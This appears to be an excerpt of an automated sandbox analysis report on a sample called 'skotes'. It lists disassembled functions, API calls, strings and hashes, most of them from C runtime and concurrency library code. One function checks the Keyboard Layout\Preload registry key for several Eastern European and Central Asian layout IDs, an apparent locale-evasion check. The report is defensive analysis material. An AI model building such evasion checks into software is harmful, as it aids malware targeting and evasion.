Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00160FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00160FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0016103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0016106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001610C1

Strings

(, xrefs: 00160F22

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 30cd9022ae81d073d86cfeb6c7110cfc22d65a3af8030f988a56be2df5e9a340
Instruction ID: eeff26a0a228a1e18df8603e356df8cb61335a9d893bcd1bfe8a3594cdec47d1
Opcode Fuzzy Hash: 30cd9022ae81d073d86cfeb6c7110cfc22d65a3af8030f988a56be2df5e9a340
Instruction Fuzzy Hash: E6B17EB1A00615EFCB29CF68DD90A7EB7B5FF49301F15816DE805AB641D730ADA0CBA0

Function 00161602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00162CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00162D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00161614

Part of subcall function 00162E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00162E39
Part of subcall function 00162E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00162EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00161746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001617A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001617B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 001617ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0016180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0016181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00161823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0016183B

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 375186f19af175d6c457b6bef055856e49ab814774d736576ef9a94b3bc9fa29
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: D4817C75E00625AFCB19CFA8C99097DB7F6FF48304B1986ADD445A7701C770AD62CB84

Function 0016EC48 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0016EC81

Part of subcall function 00168F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00168F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0016ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0016ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0016ED0C

Part of subcall function 0016E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0016E7D7
Part of subcall function 0016E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0016E86F
Part of subcall function 0016E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0016E879
Part of subcall function 0016E7AF: Concurrency::location::_Assign.LIBCMT ref: 0016E8AD
Part of subcall function 0016E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0016E8B5

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 4ee969a4cdc69e07b51aa9dfc179e855f8627ba98155e8d2756b431f79b4ffd5
Instruction ID: 202ded7ac21a10541d9f4da0869df7d0119539a932943eb9897ddb3fd21b761e
Opcode Fuzzy Hash: 4ee969a4cdc69e07b51aa9dfc179e855f8627ba98155e8d2756b431f79b4ffd5
Instruction Fuzzy Hash: 9B51AE35A00215DBCF28DF94CC99BADB7B5AF44310F1581A9ED067B392CB70AE15CBA0

Function 0015C768 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0015C76E
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0015C77C
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0015C78D
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0015C79E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0015C7AF
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 0015C7C0
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0015C7D1
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 0015C7E2
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 0015C7F3
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0015C804
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0015C815
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 0015C826
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 0015C837
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0015C848
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0015C859
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0015C86A
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0015C87B
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 0015C88C
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 0015C89D
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 0015C8AE
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 0015C8BF
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0015C8D0
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 0015C8E1
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 0015C8F2
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 0015C903
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0015C914
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0015C925
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 0015C936
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0015C947
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0015C958
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 0015C969
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0015C97A
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 0015C98B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0015C99C
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 0015C9AD
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 0015C9BE
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 0015C9CF
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 0015C9E0
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 0015C9F1
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 0015CA02
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 0015CA13

Strings

InitializeCriticalSectionEx, xrefs: 0015C7B5
CreateEventExW, xrefs: 0015C7D7
GetSystemTimePreciseAsFileTime, xrefs: 0015C909
kernel32.dll, xrefs: 0015C769
GetLocaleInfoEx, xrefs: 0015C9F7
WaitForThreadpoolTimerCallbacks, xrefs: 0015C82C
SleepConditionVariableCS, xrefs: 0015C94D
TryAcquireSRWLockExclusive, xrefs: 0015C980
WakeConditionVariable, xrefs: 0015C92B
InitializeConditionVariable, xrefs: 0015C91A
CompareStringEx, xrefs: 0015C9E6
CloseThreadpoolWork, xrefs: 0015C9D5
AcquireSRWLockExclusive, xrefs: 0015C96F
GetTickCount64, xrefs: 0015C8D6
FlsGetValue, xrefs: 0015C793
FlushProcessWriteBuffers, xrefs: 0015C881
FreeLibraryWhenCallbackReturns, xrefs: 0015C892
CreateSemaphoreW, xrefs: 0015C7E8
SubmitThreadpoolWork, xrefs: 0015C9C4
ReleaseSRWLockExclusive, xrefs: 0015C991
FlsSetValue, xrefs: 0015C7A4
FlsAlloc, xrefs: 0015C776
SetThreadpoolWait, xrefs: 0015C85F
CreateSymbolicLinkW, xrefs: 0015C8B9
CreateThreadpoolTimer, xrefs: 0015C80A
WakeAllConditionVariable, xrefs: 0015C93C
LCMapStringEx, xrefs: 0015CA08
CreateThreadpoolWork, xrefs: 0015C9B3
GetFileInformationByHandleEx, xrefs: 0015C8E7
CloseThreadpoolTimer, xrefs: 0015C83D
CreateThreadpoolWait, xrefs: 0015C84E
CreateSemaphoreExW, xrefs: 0015C7F9
SetThreadpoolTimer, xrefs: 0015C81B
GetCurrentProcessorNumber, xrefs: 0015C8A3
GetCurrentPackageId, xrefs: 0015C8C5
SleepConditionVariableSRW, xrefs: 0015C9A2
SetFileInformationByHandle, xrefs: 0015C8F8
FlsFree, xrefs: 0015C782
CloseThreadpoolWait, xrefs: 0015C870
InitializeSRWLock, xrefs: 0015C95E
InitOnceExecuteOnce, xrefs: 0015C7C6

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 0cf9cfabde0167e5bc94165c579b98be2958a478f115bd530d0f5fae1b9309c7
Instruction ID: b973a8f1842006d56cefa78245e8a838cd4127a658957fe43867e9aca795d067
Opcode Fuzzy Hash: 0cf9cfabde0167e5bc94165c579b98be2958a478f115bd530d0f5fae1b9309c7
Instruction Fuzzy Hash: F4616375996712FFCB026FB4AC0DD8A3BB9FB0E7923898517B105E2961D7B441C0CBA4

Function 0015F028 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 229
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0015F2BB

Strings

pEvents, xrefs: 0015F2B3

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: b1f92fdaa131cb83e29f0d3a9ac1304cc82f56201fd94f9433932a5c0cc7796f
Instruction ID: 667f8445a40ed199fa53f7f559ed3dbff760566d6d7d760afae9280d743157c9
Opcode Fuzzy Hash: b1f92fdaa131cb83e29f0d3a9ac1304cc82f56201fd94f9433932a5c0cc7796f
Instruction Fuzzy Hash: 49817D75D00219DFCF14DFA4C985BAEB7B5AF14312F14402DEC21AF282DB74AA4ACB91

Function 00145C10 Relevance: 23.2, APIs: 8, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00146098
0000043f, xrefs: 0014612B
00000422, xrefs: 001460C9
Keyboard Layout\Preload, xrefs: 00146054
00000423, xrefs: 001460FA

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 80e234f2b104ebab2c6749d0590849ce9897488277a0d5ce59bc983d6c0d8f0e
Instruction ID: 8f9d2428dcc0a833127609f668a1c755d53eecf73e28b2bf8d401474b28921a4
Opcode Fuzzy Hash: 80e234f2b104ebab2c6749d0590849ce9897488277a0d5ce59bc983d6c0d8f0e
Instruction Fuzzy Hash: AAF1D170900258DFDB24DF54CC85BEEBBB9EF45304F5041A9F918AB291DB749A88CF91

Function 0015D029 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(001A5750,00000FA0,?,?,0015D007), ref: 0015D035
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,0015D007), ref: 0015D040
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,0015D007), ref: 0015D051
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0015D063
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0015D071
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,0015D007), ref: 0015D094
___scrt_fastfail.LIBCMT ref: 0015D0A5
RtlDeleteCriticalSection.NTDLL(001A5750), ref: 0015D0B0
CloseHandle.KERNEL32(00000000,?,?,0015D007), ref: 0015D0C0

Strings

kernel32.dll, xrefs: 0015D04C
WakeAllConditionVariable, xrefs: 0015D069
SleepConditionVariableCS, xrefs: 0015D05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0015D03B

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3578986977-3242537097
Opcode ID: 8281b385191081b5fb36da81903e931a7bc75bb55ddc15932c53ebf4c99c480e
Instruction ID: 353b1e0b6e75531899e77bde39b5d1d2237f97033d55123f7df82e8919369c6a
Opcode Fuzzy Hash: 8281b385191081b5fb36da81903e931a7bc75bb55ddc15932c53ebf4c99c480e
Instruction Fuzzy Hash: 1F018831644711EFDB321FB1BC0DE6A36A9DB4AB92B450122FD11E6A90DB70C881CB71

Function 001726D1 Relevance: 22.7, APIs: 15, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001726E3

Part of subcall function 001724E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00172504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00172704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00172711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0017275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 001727E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 001727F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00172846

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 4e869247ac2c8a7b6dfed5d06e2edac3156e20bddb5561592fe0cfb70a405630
Instruction ID: d1951b414ac0f2239df1fd076a03832f6d6cc027a392c877d8dc073e3d2a82bc
Opcode Fuzzy Hash: 4e869247ac2c8a7b6dfed5d06e2edac3156e20bddb5561592fe0cfb70a405630
Instruction Fuzzy Hash: 0681B234900249ABDF1A9F54C951BFE7BB1AF65308F048098FD496B252C7328D57DB62

Function 001644DE Relevance: 21.2, APIs: 14, Instructions: 189
timeregistryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ListArray.LIBCONCRT ref: 00164538

Part of subcall function 00164319: RtlInitializeSListHead.NTDLL(?), ref: 001643E5
Part of subcall function 00164319: RtlInitializeSListHead.NTDLL(?), ref: 001643EF

ListArray.LIBCONCRT ref: 0016456C
Hash.LIBCMT ref: 001645D5
Hash.LIBCMT ref: 001645E5
RtlInitializeSListHead.NTDLL(?), ref: 0016467A
RtlInitializeSListHead.NTDLL(?), ref: 00164687
RtlInitializeSListHead.NTDLL(?), ref: 00164694
RtlInitializeSListHead.NTDLL(?), ref: 001646A1

Part of subcall function 00169C41: std::bad_exception::bad_exception.LIBCMT ref: 00169C63

RegisterWaitForSingleObject.KERNEL32(?,00000000,00167A15,?,000000FF,00000000), ref: 00164729
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0016474B
GetLastError.KERNEL32(0016548B,?,?,00000000,?,?), ref: 0016475D
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 0016477A

Part of subcall function 0015FBAA: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,0016548B,00000008,?,0016477F,?,00000000,00167A06,?,7FFFFFFF,7FFFFFFF,00000000), ref: 0015FBC2

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001647A4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 2750799244-0
Opcode ID: e599f41222ea4800d30cac0bf35b1d7270b448de06fdb1c7884ede8af052930a
Instruction ID: 191356e36cca54fbbae1e5d006bf7a0d2e9d270ea645f106d6780405e819bc63
Opcode Fuzzy Hash: e599f41222ea4800d30cac0bf35b1d7270b448de06fdb1c7884ede8af052930a
Instruction Fuzzy Hash: B48140B0A11A62FBD749DF74C885BD9FBA8BF19704F10421BF42897281DBB4A564CBD0

Function 00162832 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 00162841

Part of subcall function 00163B2C: GetVersionExW.KERNEL32(?), ref: 00163B50
Part of subcall function 00163B2C: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 00163BEF

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00162855
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00162876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001628DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00162913

Part of subcall function 001607ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0016080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00162993

Part of subcall function 0016235C: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00162370

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001629DB

Part of subcall function 001607C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 001607DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 001629EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00162A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00162A4D
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00162A72
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00162A7E

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: 41cff3c0307508fd08aaea694914eed2558210e52ec25fb40b7dca1c2671d218
Instruction ID: ea93ef50da936a77fe7158a1f846b50ef08d02e8ee9228c82d592a807ca20cff
Opcode Fuzzy Hash: 41cff3c0307508fd08aaea694914eed2558210e52ec25fb40b7dca1c2671d218
